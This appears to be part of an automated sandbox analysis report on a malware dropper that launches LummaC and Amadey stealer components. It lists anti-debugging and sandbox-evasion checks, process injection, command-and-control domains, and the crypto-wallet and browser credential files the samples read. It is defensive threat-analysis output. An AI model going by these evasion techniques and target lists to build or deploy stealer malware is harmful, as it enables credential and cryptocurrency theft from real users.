Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: skotes.exe, 00000006.00000002.3321244705.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: c6628554c1.exe, 0000000B.00000003.3062680954.00000000066A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j{Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlK'{
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.0000000005883000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2102267492.0000000000771000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmp, f2de4e119f.exe, 00000007.00000002.3267712652.0000000005E40000.00000040.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000002.3255686592.0000000000A4C000.00000040.00000001.01000000.0000000A.sdmp, ba94e3db0d.exe, 0000000C.00000002.3309182218.00000000005BF000.00000040.00000001.01000000.0000000D.sdmp, ef4aa82a7c.exe, 00000010.00000002.3290117798.0000000000E4D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: ba94e3db0d.exe, 0000000C.00000003.3180026471.000000000587D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04A30D13 rdtsc

0_2_04A30D13

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B652B mov eax, dword ptr fs:[00000030h]	0_2_005B652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BA302 mov eax, dword ptr fs:[00000030h]	0_2_005BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0092A302 mov eax, dword ptr fs:[00000030h]	2_2_0092A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0092652B mov eax, dword ptr fs:[00000030h]	2_2_0092652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0092A302 mov eax, dword ptr fs:[00000030h]	3_2_0092A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0092652B mov eax, dword ptr fs:[00000030h]	3_2_0092652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0092A302 mov eax, dword ptr fs:[00000030h]	6_2_0092A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0092652B mov eax, dword ptr fs:[00000030h]	6_2_0092652B

Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe

Memory written: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: f2de4e119f.exe, 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: f2de4e119f.exe, 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: f2de4e119f.exe, 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: f2de4e119f.exe, 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: f2de4e119f.exe, 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: f2de4e119f.exe, 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: f2de4e119f.exe, 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: f2de4e119f.exe, 00000007.00000003.2828302335.00000000047B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click
Source: ba94e3db0d.exe, 0000000C.00000002.3308340330.00000000003E1000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: treehoneyi.click

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe "C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe "C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe "C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe "C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe "C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe "C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f2de4e119f.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f2de4e119f.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Process created: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe "C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe"	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: Program Manager
Source: f2de4e119f.exe, 00000007.00000002.3256484211.0000000000A94000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: zProgram Manager
Source: ba94e3db0d.exe, 0000000C.00000002.3309182218.00000000005BF000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: jLProgram Manager
Source: f2de4e119f.exe, 00000007.00000002.3267712652.0000000005E40000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: fProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0090DD91 cpuid

6_2_0090DD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0059CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0059CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00932517 GetTimeZoneInformation,

6_2_00932517

Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: procmon.exe
Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: wireshark.exe
Source: f2de4e119f.exe, 00000007.00000003.3002836126.0000000005333000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3039490752.0000000005333000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2985755597.000000000538A000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3069349378.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3069349378.0000000000A0C000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3069801901.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3086042198.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000002.3329163975.000000000585E000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000002.3316219494.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3289194378.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2084580491.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2084862029.0000000004670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2677302048.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2058785420.0000000004810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 324fcfa2b3.exe PID: 8180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ba94e3db0d.exe PID: 7196, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: f2de4e119f.exe PID: 7944, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: f2de4e119f.exe, 00000007.00000003.2961519450.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 20},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":["*"],"z":"Wallets/Electru
Source: f2de4e119f.exe, 00000007.00000003.2961519450.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\walP
Source: f2de4e119f.exe, 00000007.00000003.2961549547.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 324fcfa2b3.exe, 0000000A.00000003.3069349378.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: f2de4e119f.exe, 00000007.00000003.2961519450.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: hereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","
Source: f2de4e119f.exe, 00000007.00000003.2961549547.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: f2de4e119f.exe, 00000007.00000003.2961519450.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wa
Source: f2de4e119f.exe, 00000007.00000003.2961549547.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: f2de4e119f.exe, 00000007.00000003.2961549547.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.5:49929 -> 147.45.113.159:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
